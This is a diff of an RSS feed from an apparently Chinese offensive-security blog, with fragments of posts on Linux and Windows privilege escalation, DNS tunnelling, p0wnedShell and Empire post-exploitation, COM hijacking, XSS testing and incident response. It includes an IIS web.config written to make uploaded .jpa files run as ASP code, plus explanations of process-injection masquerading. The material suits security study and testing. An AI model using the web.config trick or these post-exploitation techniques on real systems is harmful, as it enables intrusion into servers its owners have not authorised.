style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">4 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">5 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">6 -</span></code></pr</description></item><item><title>Intranet Space - Linux Privilegehttps://payloads.online/archivers/2018-12-19/linux-privilege/Wed, 19 Dec 2018 00:00:00 +0000https://payloads.online/archivers/2018-12-19/linux-privilege/<h2 id="0x00-linenum">0x00 LinEnum</h2> +</span></code></pre></td> +<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c" data-lang="c"><span style="display:flex;"><span>CHAR <span style="color:#f92672">-&gt;</span> <span style="color:#66d9ef">char</span> +</span></span><span style="display:flex;"><span>PSTR <span style="color:#f92672">-&gt;</span> <span style="color:#66d9ef">char</span> <span style="color:#f92672">*</span> +</span></span><span style="display:flex;"><span>WCHAR <span style="color:#f92672">-&gt;</span> <span style="color:#66d9ef">wchar_t</span> +</span></span><span style="display:flex;"><span>PWSTR <span style="color:#f92672">-&gt;</span> <span style="color:#66d9ef">wchar_t</span> <span style="color:#f92672">*</span> +</span></span><span style="display:flex;"><span>TCHAR <span style="color:#f92672">-&gt;</span> <span style="color:#960050;background-color:#1e0010">一个宏,当前是什么字符集,编译出来就是什么字符集</span> +</span></span><span style="display:flex;"><span>PTSTR <span style="color:#f92672">-&gt;</span> TCHAR <span style="color:#f92672">*</span> (<span style="color:#960050;background-color:#1e0010">有利于跨平台</span>) +</span></span></code></pre></td></tr></table> +</div> +</div><p>开发中推荐使用“TEXT”宏与PTSTR类型的字符串指针。</p> +<h2 id="0x01-windows进程创建">0x01 Windows进程创建</h2> +<p>进程是一个程序正在运行的一个实例,它由一个内核对象和一个地址空间组成。</p> +<p>内核对象与地址空间都在4GB的虚拟内存中,内核占2GB高地址,低地址的2GB给程序的堆栈使用。</p> +<p>在Windows中,系统通过句柄管理进程中的资源,句柄存储在内核空间中的一个全局句柄表中,而每个进程也都有一个句柄表,这个句柄表是私有的。</p> +<p><strong>PID</strong> 是指的是全局句柄表的值。</p> +<h3 id="进程执行的加载过程">进程执行的加载过程</h3> +<ul> +<li>1.映射EXE</li> +<li>2.创建内核对象EPROCESS</li> +<li>3.映射系统DLL(ntdll.dll)</li> +<li>4.创建线程内核对象ETHREAD</li> +<li>5.系统启动线程、映射DLL(ntdll.LdrInitalizeThunk)、线程开始执行</li> +</ul> +<h3 id="创建进程">创建进程</h3> +<div class="highlight"><div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"> +<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 1 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 2 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 3 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 4 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 5 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 6 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 7 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 8 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 9 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">10 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">11 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">12 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">13 +</span></code></pre></td> +<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c" data-lang="c"><span style="display:flex;"><span>BOOL <span style="color:#a6e22e">CreateProcess</span> +</span></span><span style="display:flex;"><span>( +</span></span><span style="display:flex;"><span>LPCTSTR lpApplicationName, +</span></span><span style="display:flex;"><span>LPTSTR lpCommandLine, +</span></span><span style="display:flex;"><span>LPSECURITY_ATTRIBUTES lpProcessAttributes, +</span></span><span style="display:flex;"><span>LPSECURITY_ATTRIBUTES lpThreadAttributes, +</span></span><span style="display:flex;"><span>BOOL bInheritHandles, +</span></span><span style="display:flex;"><span>DWORD dwCreationFlags, +</span></span><span style="display:flex;"><span>LPVOID lpEnvironment, +</span></span><span style="display:flex;"><span>LPCTSTR lpCurrentDirectory, +</span></span><span style="display:flex;"><span>LPSTARTUPINFO lpStartupInfo, +</span></span><span style="display:flex;"><span>LPPROCESS_INFORMATIONlpProcessInformation +</span></span><span style="display:flex;"><span>); +</span></span></code></pre></td></tr></table> +</div> +</div><h3 id="线程与进程的关系">线程与进程的关系</h3> +<p>进程是一个程序正在运行的一个实例,它提供了一块存储代码的空间,在进程被创建时,系统也会给进程创建一个主线程(primary thread),主线程负责执行代码,一个进程没有线程是无法运行的。</p>Intranet Space - Linux Privilegehttps://payloads.online/archivers/2018-12-19/linux-privilege/Wed, 19 Dec 2018 00:00:00 +0000https://payloads.online/archivers/2018-12-19/linux-privilege/<h2 id="0x00-linenum">0x00 LinEnum</h2> <p>Scripted Local Linux Enumeration &amp; Privilege Escalation Checks</p> <p>Github:https://github.com/rebootuser/LinEnum</p> <p>Usage:https://github.com/rebootuser/LinEnum/blob/master/README.md</p> @@ -2688,7 +5398,19 @@ file gets deleted.</p>驱动人生供应链 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">6 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">7 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">8 -</span></code></pr</description></item><item><title>Intranet Space - Dns Tunnelinghttps://payloads.online/archivers/2018-12-18/6/Tue, 18 Dec 2018 00:00:00 +0000https://payloads.online/archivers/2018-12-18/6/<h2 id="0x00-dns隧道简介">0x00 DNS隧道简介</h2> +</span></code></pre></td> +<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-fallback" data-lang="fallback"><span style="display:flex;"><span>PS E:&gt; [System.Enum]::GetNames([Microsoft.PowerShell.ExecutionPolicy]) +</span></span><span style="display:flex;"><span>Unrestricted # 权限最高,可以不受限制执行任何脚本。 +</span></span><span style="display:flex;"><span>RemoteSigned # 本地脚本无限制,但是对来自网络的脚本必须经过签名 +</span></span><span style="display:flex;"><span>AllSigned # 所有脚本都必须经过签名才能在运行 +</span></span><span style="display:flex;"><span>Restricted # Powershell默认的策略,不允许任何脚本执行 +</span></span><span style="display:flex;"><span>Default # 为Powershell默认的策略 +</span></span><span style="display:flex;"><span>Bypass # 无任何限制策略,不警告、不提示 +</span></span><span style="display:flex;"><span>Undefined # 当前范围中没有设置执行策略 +</span></span></code></pre></td></tr></table> +</div> +</div><p>设置执行策略:</p>Intranet Space - Dns Tunnelinghttps://payloads.online/archivers/2018-12-18/6/Tue, 18 Dec 2018 00:00:00 +0000https://payloads.online/archivers/2018-12-18/6/<h2 id="0x00-dns隧道简介">0x00 DNS隧道简介</h2> <p>DNS Tunneling,是隐蔽信道的一种,通过将其他协议的数据封装在DNS协议中传输建立通信。</p> <p>普通的 DNS 查询过程如下:</p> <p>客户端发送 DNS 请求-&gt;DNS 服务器-&gt;如果 DNS 服务器寻找不到该记录-&gt;继续递归查询-&gt;寻找该域名 的 NS 记录-&gt;询问 NS 记录指向的 DNS 服务器-&gt;DNS 服务器响应-&gt;传输给客户端。</p> @@ -2718,7 +5440,11 @@ DNS 隧道是隐蔽的、可加密的数据传输隧道,基于 UDP 协议, </tr> </tbody> </table> -<p>首先在 DNS 解析管理平台上设置一个 NS 和一个 A 记录:</p>Intranet Space - p0wnedShellhttps://payloads.online/archivers/2018-12-18/2/Tue, 18 Dec 2018 00:00:00 +0000https://payloads.online/archivers/2018-12-18/2/<h2 id="0x00-p0wnedshell">0x00 p0wnedShell</h2> +<p>首先在 DNS 解析管理平台上设置一个 NS 和一个 A 记录:</p> +<p>当我们询问 hello.HACK.XXX.COM 时,DNS 客户端发送的查询请求会递归到主机记录 NS 指向的 XXX.XXX.XXX.XXX 服务器上。 +黑客通过在 XXX.XXX.XXX.XXX 服务器上监听 53 端口,即可获得 DNS 客户端发送来的请求。</p> +<h2 id="0x02-如何获得命令执行结果">0x02 如何获得命令执行结果?</h2> +<p>这里需要木马的配合,黑客会在服务器端的程序上专门设置一个 TXT 的主机记录,用于存放命令。</p>Intranet Space - p0wnedShellhttps://payloads.online/archivers/2018-12-18/2/Tue, 18 Dec 2018 00:00:00 +0000https://payloads.online/archivers/2018-12-18/2/<h2 id="0x00-p0wnedshell">0x00 p0wnedShell</h2> <p>p0wnedShell is an offensive PowerShell Runspace Post Exploitation host application written in C# that does not rely on powershell.exe but runs PowerShell commands and functions within a PowerShell run space environment (.NET). It has a lot of offensive PowerShell modules and binaries included making the process of Post Exploitation easier.</p> <p>Github : <a href="https://github.com/Cn33liz/p0wnedShell">https://github.com/Cn33liz/p0wnedShell</a></p> <h2 id="0x01-p0wnedshell-功能">0x01 p0wnedShell 功能</h2> @@ -2747,7 +5473,14 @@ DNS 隧道是隐蔽的、可加密的数据传输隧道,基于 UDP 协议, <pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">1 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">2 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">3 -</span></code></prIntranet Space - Empirehttps://payloads.online/archivers/2018-12-18/1/Sat, 15 Dec 2018 00:00:00 +0000https://payloads.online/archivers/2018-12-18/1/<h2 id="0x00-简介">0x00 简介</h2> +</span></code></pre></td> +<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-C#" data-lang="C#"><span style="display:flex;"><span><span style="color:#66d9ef">public</span> <span style="color:#66d9ef">static</span> <span style="color:#66d9ef">bool</span> AutoMasq = <span style="color:#66d9ef">true</span>; +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span><span style="color:#66d9ef">public</span> <span style="color:#66d9ef">static</span> <span style="color:#66d9ef">string</span> masqBinary = <span style="color:#e6db74">@&#34;C:\Windows\Notepad.exe&#34;</span>; +</span></span></code></pre></td></tr></table> +</div> +</div><p>如果AutoMasq为false,则不会进行进程注入,若为true,则会进行进程注入,伪装成C:\Windows\Notepad.exe.</p>Intranet Space - Empirehttps://payloads.online/archivers/2018-12-18/1/Sat, 15 Dec 2018 00:00:00 +0000https://payloads.online/archivers/2018-12-18/1/<h2 id="0x00-简介">0x00 简介</h2> <p> <img src="https://images.payloads.online/3cc545d0-4f5f-11ec-9fe2-00d861bf4abb.jpg" alt="Empire"> @@ -2771,7 +5504,43 @@ DNS 隧道是隐蔽的、可加密的数据传输隧道,基于 UDP 协议, <p> <img src="https://images.payloads.online/3d21b284-4f5f-11ec-88ff-00d861bf4abb.jpg" alt="72c95569361e869b11697561d9a7fcbb.png"> -</p>应急响应 近期总结https://payloads.online/archivers/2018-12-06/1/Wed, 05 Dec 2018 00:00:00 +0000https://payloads.online/archivers/2018-12-06/1/<h2 id="0x00-应急响应">0x00 应急响应</h2> +</p> +<h3 id="empire-module-list">Empire Module List</h3> +<ul> +<li>agents</li> +<li>creds</li> +<li>plugins</li> +<li>stager</li> +<li>listeners</li> +<li>module</li> +</ul> +<h3 id="listeners">listeners</h3> +<p><code>listeners</code>的功能是监听一个端口,通过该端口给客户端传递更多的命令和载荷。</p> +<h3 id="agents">agents</h3> +<p><code>agents</code>主要是通过<code>listeners</code>获得的主机对象,可以通过<code>list</code>查看。</p> +<h3 id="stager">stager</h3> +<p><code>stager</code>主要是用于生成初级载荷,也就是木马,在客户端执行后,客户端会主动连接<code>listeners</code>监听的端口,同时服务端的<code>agents</code>列表会出现客户端的主机信息。</p> +<h3 id="module">module</h3> +<p><code>module</code>的主要功能是通过给<code>agents</code>提供更多的功能,可通过<code>searchmodule</code>搜索。</p> +<h3 id="plugins">plugins</h3> +<p><code>plugins</code>主要用于调用和管理Empire的扩展。</p> +<h3 id="creds">creds</h3> +<p><code>creds</code>是一个存储一些<code>agents</code>上获取到的凭证。</p> +<h2 id="0x03-simply-use-empire">0x03 Simply use Empire</h2> +<h3 id="如何获得agents">如何获得agents</h3> +<div class="highlight"><div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"> +<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">1 +</span></code></pre></td> +<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-fallback" data-lang="fallback"><span style="display:flex;"><span>./empire # 启动empire +</span></span></code></pre></td></tr></table> +</div> +</div><p> + <img src="https://images.payloads.online/3d7188f4-4f5f-11ec-85d8-00d861bf4abb.jpg" alt="2eca886e0349b46868d2f676b44a9703.png"> + +</p> +<p>有285个module可以使用,1个listener在使用,0个agents。</p>应急响应 近期总结https://payloads.online/archivers/2018-12-06/1/Wed, 05 Dec 2018 00:00:00 +0000https://payloads.online/archivers/2018-12-06/1/<h2 id="0x00-应急响应">0x00 应急响应</h2> <p>简介:“应急响应”对应的英文是“Incident Response”或“Emergency Response”等,通常是指一个组织为了应对各种意外事件的发生所做的准备以及在事件发生后所采取的措施。 &ndash; Baidu</p> <h2 id="0x01-应急响应类型">0x01 应急响应类型</h2> <p>目前接触的那么多应急,基本上都是以下事件类型:</p> @@ -2809,7 +5578,20 @@ DNS 隧道是隐蔽的、可加密的数据传输隧道,基于 UDP 协议, <p>一般情况下,这类情况都是未安装杀毒软件或杀毒软件病毒库太老。</p> <p>横向移动的手段与<strong>0x03</strong>很相近。</p> <blockquote> -<p>IOC(Indicator of Compromise)入侵指标,目前可以理解为是一种威胁参考数据。</p>彻底理解Windows认证 - 议题解读https://payloads.online/archivers/2018-11-30/1/Fri, 30 Nov 2018 00:00:00 +0000https://payloads.online/archivers/2018-11-30/1/<p>在内部分享的《彻底理解Windows认证》议题解读,本次议题围绕着Windows认证分别讲解了:</p> +<p>IOC(Indicator of Compromise)入侵指标,目前可以理解为是一种威胁参考数据。</p> +</blockquote> +<h2 id="0x05-应急响应---数据丢失">0x05 应急响应 - 数据丢失</h2> +<p>这种是处理起来比较棘手的事件了,需要画大量的时间分析日志,确定数据丢失的方式。</p> +<p>首先需要网络日志和主机日志,从数据服务器反向跟踪:<strong>“我被谁访问,谁对我做了什么”</strong></p> +<h2 id="0x06-应急响应---网页篡改">0x06 应急响应 - 网页篡改</h2> +<p>分两种情况:</p> +<ul> +<li>自动化批量攻击</li> +<li>定向入侵</li> +</ul> +<p>首先需要保留HTTP服务器日志,第一种情况就要判断HTTP服务器上是否有脆弱的Web应用,例如:远程代码执行、文件上传漏洞。第二种情况就要从网页篡改后第一发现的时间作为开始日志审计工作的启动时间。</p> +<h2 id="0x07-应急响应---流量异常">0x07 应急响应 - 流量异常</h2> +<p>这种情况一般是服务器被僵尸网络木马控制了,要么就是UDP服务对外 —— DRDOS这类也有可能。</p>彻底理解Windows认证 - 议题解读https://payloads.online/archivers/2018-11-30/1/Fri, 30 Nov 2018 00:00:00 +0000https://payloads.online/archivers/2018-11-30/1/<p>在内部分享的《彻底理解Windows认证》议题解读,本次议题围绕着Windows认证分别讲解了:</p> <ul> <li>Pass The Hash</li> <li>Silver Tickets、Golden Tickets、</li> @@ -2849,7 +5631,31 @@ DNS 隧道是隐蔽的、可加密的数据传输隧道,基于 UDP 协议, </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">18 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">19 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">20 -</span></code></pr解决Mac OS挂载NTFS格式硬盘无法读写https://payloads.online/archivers/2018-10-30/1/Tue, 30 Oct 2018 00:00:00 +0000https://payloads.online/archivers/2018-10-30/1/<h2 id="查看分区">查看分区</h2> +</span></code></pre></td> +<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-xml" data-lang="xml"><span style="display:flex;"><span><span style="color:#75715e">&lt;?xml version=&#34;1.0&#34; encoding=&#34;UTF-8&#34;?&gt;</span> +</span></span><span style="display:flex;"><span><span style="color:#f92672">&lt;configuration&gt;</span> +</span></span><span style="display:flex;"><span> <span style="color:#f92672">&lt;system.webServer&gt;</span> +</span></span><span style="display:flex;"><span> <span style="color:#f92672">&lt;handlers</span> <span style="color:#a6e22e">accessPolicy=</span><span style="color:#e6db74">&#34;Read, Script, Write&#34;</span><span style="color:#f92672">&gt;</span> +</span></span><span style="display:flex;"><span> <span style="color:#f92672">&lt;add</span> <span style="color:#a6e22e">name=</span><span style="color:#e6db74">&#34;web_config&#34;</span> <span style="color:#a6e22e">path=</span><span style="color:#e6db74">&#34;*.jpa&#34;</span> <span style="color:#a6e22e">verb=</span><span style="color:#e6db74">&#34;*&#34;</span> <span style="color:#a6e22e">modules=</span><span style="color:#e6db74">&#34;IsapiModule&#34;</span> <span style="color:#a6e22e">scriptProcessor=</span><span style="color:#e6db74">&#34;%windir%\system32\inetsrv\asp.dll&#34;</span> <span style="color:#a6e22e">resourceType=</span><span style="color:#e6db74">&#34;Unspecified&#34;</span> <span style="color:#a6e22e">requireAccess=</span><span style="color:#e6db74">&#34;Write&#34;</span> <span style="color:#a6e22e">preCondition=</span><span style="color:#e6db74">&#34;bitness64&#34;</span> <span style="color:#f92672">/&gt;</span> +</span></span><span style="display:flex;"><span> <span style="color:#f92672">&lt;/handlers&gt;</span> +</span></span><span style="display:flex;"><span> <span style="color:#f92672">&lt;security&gt;</span> +</span></span><span style="display:flex;"><span> <span style="color:#f92672">&lt;requestFiltering&gt;</span> +</span></span><span style="display:flex;"><span> <span style="color:#f92672">&lt;fileExtensions&gt;</span> +</span></span><span style="display:flex;"><span> <span style="color:#f92672">&lt;remove</span> <span style="color:#a6e22e">fileExtension=</span><span style="color:#e6db74">&#34;.jpa&#34;</span> <span style="color:#f92672">/&gt;</span> +</span></span><span style="display:flex;"><span> <span style="color:#f92672">&lt;/fileExtensions&gt;</span> +</span></span><span style="display:flex;"><span> <span style="color:#f92672">&lt;hiddenSegments&gt;</span> +</span></span><span style="display:flex;"><span> <span style="color:#f92672">&lt;remove</span> <span style="color:#a6e22e">segment=</span><span style="color:#e6db74">&#34;web.config&#34;</span> <span style="color:#f92672">/&gt;</span> +</span></span><span style="display:flex;"><span> <span style="color:#f92672">&lt;/hiddenSegments&gt;</span> +</span></span><span style="display:flex;"><span> <span style="color:#f92672">&lt;/requestFiltering&gt;</span> +</span></span><span style="display:flex;"><span> <span style="color:#f92672">&lt;/security&gt;</span> +</span></span><span style="display:flex;"><span> <span style="color:#f92672">&lt;/system.webServer&gt;</span> +</span></span><span style="display:flex;"><span> <span style="color:#f92672">&lt;appSettings&gt;</span> +</span></span><span style="display:flex;"><span><span style="color:#f92672">&lt;/appSettings&gt;</span> +</span></span><span style="display:flex;"><span><span style="color:#f92672">&lt;/configuration&gt;</span> +</span></span></code></pre></td></tr></table> +</div> +</div><p>上传完成web.config到Web目录下后,可以再上传<code>*.jpa</code>的扩展名文件达到执行任意代码的目的。</p>解决Mac OS挂载NTFS格式硬盘无法读写https://payloads.online/archivers/2018-10-30/1/Tue, 30 Oct 2018 00:00:00 +0000https://payloads.online/archivers/2018-10-30/1/<h2 id="查看分区">查看分区</h2> <div class="highlight"><div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"> <table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;"> <pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 1 @@ -2873,7 +5679,32 @@ DNS 隧道是隐蔽的、可加密的数据传输隧道,基于 UDP 协议, </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">19 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">20 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">21 -</span></code></prxssValidatorhttps://payloads.online/archivers/2018-10-19/1/Fri, 19 Oct 2018 00:00:44 +0000https://payloads.online/archivers/2018-10-19/1/<h2 id="0x00-前言">0x00 前言</h2> +</span></code></pre></td> +<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-sh" data-lang="sh"><span style="display:flex;"><span>rvn0xsy@Rvn0xsy ~/&gt; diskutil list +</span></span><span style="display:flex;"><span>/dev/disk0 <span style="color:#f92672">(</span>internal<span style="color:#f92672">)</span>: +</span></span><span style="display:flex;"><span> <span style="color:#75715e">#: TYPE NAME SIZE IDENTIFIER</span> +</span></span><span style="display:flex;"><span> 0: GUID_partition_scheme 500.3 GB disk0 +</span></span><span style="display:flex;"><span> 1: EFI EFI 314.6 MB disk0s1 +</span></span><span style="display:flex;"><span> 2: Apple_APFS Container disk1 500.0 GB disk0s2 +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span>/dev/disk1 <span style="color:#f92672">(</span>synthesized<span style="color:#f92672">)</span>: +</span></span><span style="display:flex;"><span> <span style="color:#75715e">#: TYPE NAME SIZE IDENTIFIER</span> +</span></span><span style="display:flex;"><span> 0: APFS Container Scheme - +500.0 GB disk1 +</span></span><span style="display:flex;"><span> Physical Store disk0s2 +</span></span><span style="display:flex;"><span> 1: APFS Volume Macintosh HD 209.0 GB disk1s1 +</span></span><span style="display:flex;"><span> 2: APFS Volume Preboot 25.1 MB disk1s2 +</span></span><span style="display:flex;"><span> 3: APFS Volume Recovery 515.8 MB disk1s3 +</span></span><span style="display:flex;"><span> 4: APFS Volume VM 3.2 GB disk1s4 +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span>/dev/disk2 <span style="color:#f92672">(</span>external, physical<span style="color:#f92672">)</span>: +</span></span><span style="display:flex;"><span> <span style="color:#75715e">#: TYPE NAME SIZE IDENTIFIER</span> +</span></span><span style="display:flex;"><span> 0: disk *2.0 TB disk2 +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span>rvn0xsy@Rvn0xsy ~/&gt; +</span></span></code></pre></td></tr></table> +</div> +</div><p>那个<code>/dev/disk2</code>是我的硬盘</p>xssValidatorhttps://payloads.online/archivers/2018-10-19/1/Fri, 19 Oct 2018 00:00:44 +0000https://payloads.online/archivers/2018-10-19/1/<h2 id="0x00-前言">0x00 前言</h2> <p>xss Validator是一个Burp商店的一个高分插件,该插件依赖于<a href="http://phantomjs.org">phantomjs</a>项目以及Burp的Intruder模块。</p> <h2 id="0x01-安装">0x01 安装</h2> <h3 id="安装插件">安装插件</h3> @@ -2894,7 +5725,29 @@ DNS 隧道是隐蔽的、可加密的数据传输隧道,基于 UDP 协议, </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">3 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">4 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">5 -</span></code></prCOM Hijackinghttps://payloads.online/archivers/2018-10-14/1/Sat, 13 Oct 2018 00:00:00 +0000https://payloads.online/archivers/2018-10-14/1/<h2 id="0x00-com介绍">0x00 COM介绍</h2> +</span></code></pre></td> +<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-sh" data-lang="sh"><span style="display:flex;"><span>rvn0xsy@Rvn0xsy ~/G/p/bin&gt; pwd +</span></span><span style="display:flex;"><span>/Users/rvn0xsy/GitProject/phantomjs-2.1.1-macosx/bin +</span></span><span style="display:flex;"><span>rvn0xsy@Rvn0xsy ~/G/p/bin&gt; ls +</span></span><span style="display:flex;"><span>phantomjs xss.js +</span></span><span style="display:flex;"><span>rvn0xsy@Rvn0xsy ~/G/p/bin&gt; ./phantomjs xss.js <span style="color:#75715e"># 启动监听</span> +</span></span></code></pre></td></tr></table> +</div> +</div><p>这时回到Burp的xss Validator插件页面:</p> +<p> + <img src="https://images.payloads.online/339905be-4f5f-11ec-bdc6-00d861bf4abb.png" alt=""> + +</p> +<p>其中:</p> +<ul> +<li><code>Grep Phrase</code>是XSS执行成功后,能够解析出的字符串,支持自定义。</li> +<li><code>Javascript function</code>是验证函数,会被解析的时候调用。</li> +<li><code>Javascript event handlers</code>是监听事件。</li> +<li><code>Payloads</code>是测试XSS的模板,必须包含<code>{JAVASCRIPT}</code>,否则无法判断状态</li> +</ul> +<h2 id="0x03-测试演示">0x03 测试演示</h2> +<!-- raw HTML omitted -->COM Hijackinghttps://payloads.online/archivers/2018-10-14/1/Sat, 13 Oct 2018 00:00:00 +0000https://payloads.online/archivers/2018-10-14/1/<h2 id="0x00-com介绍">0x00 COM介绍</h2> <p>COM是Component Object Model (组件对象模型)的缩写。</p> <p>COM是微软公司为了计算机工业的软件生产更加符合人类的行为方式开发的一种新的软件开发技术。在COM构架下,人们可以开发出各种各样的功能专一的组件,然后将它们按照需要组合起来,构成复杂的应用系统。</p> <h2 id="0x01-应用程序与com注册表的关系">0x01 应用程序与COM注册表的关系</h2> @@ -2934,7 +5787,42 @@ DNS 隧道是隐蔽的、可加密的数据传输隧道,基于 UDP 协议, </tr> </tbody> </table> -<p><strong><a href="https://docs.microsoft.com/en-us/windows/desktop/sysinfo/hkey-classes-root-key">HKEY_CLASSES_ROOT</a> = HKEY_LOCAL_MACHINE + HKEY_CURRENT_USER</strong></p>Windows 本地特权提升技巧https://payloads.online/archivers/2018-10-08/1/Mon, 08 Oct 2018 00:00:00 +0000https://payloads.online/archivers/2018-10-08/1/<h2 id="0x00-前言">0x00 前言</h2> +<p><strong><a href="https://docs.microsoft.com/en-us/windows/desktop/sysinfo/hkey-classes-root-key">HKEY_CLASSES_ROOT</a> = HKEY_LOCAL_MACHINE + HKEY_CURRENT_USER</strong></p> +<h3 id="clsid">CLSID</h3> +<p>首先需要介绍一下CLSID(Class Identifier),中文翻译为:“全局唯一标识符”。</p> +<p>CLSID是指Windows系统对于不同的应用程序,文件类型,OLE对象,特殊文件夹以及各种系统组件分配的一个唯一表示它的ID代码,用于对其身份的标识和与其他对象进行区分。</p> 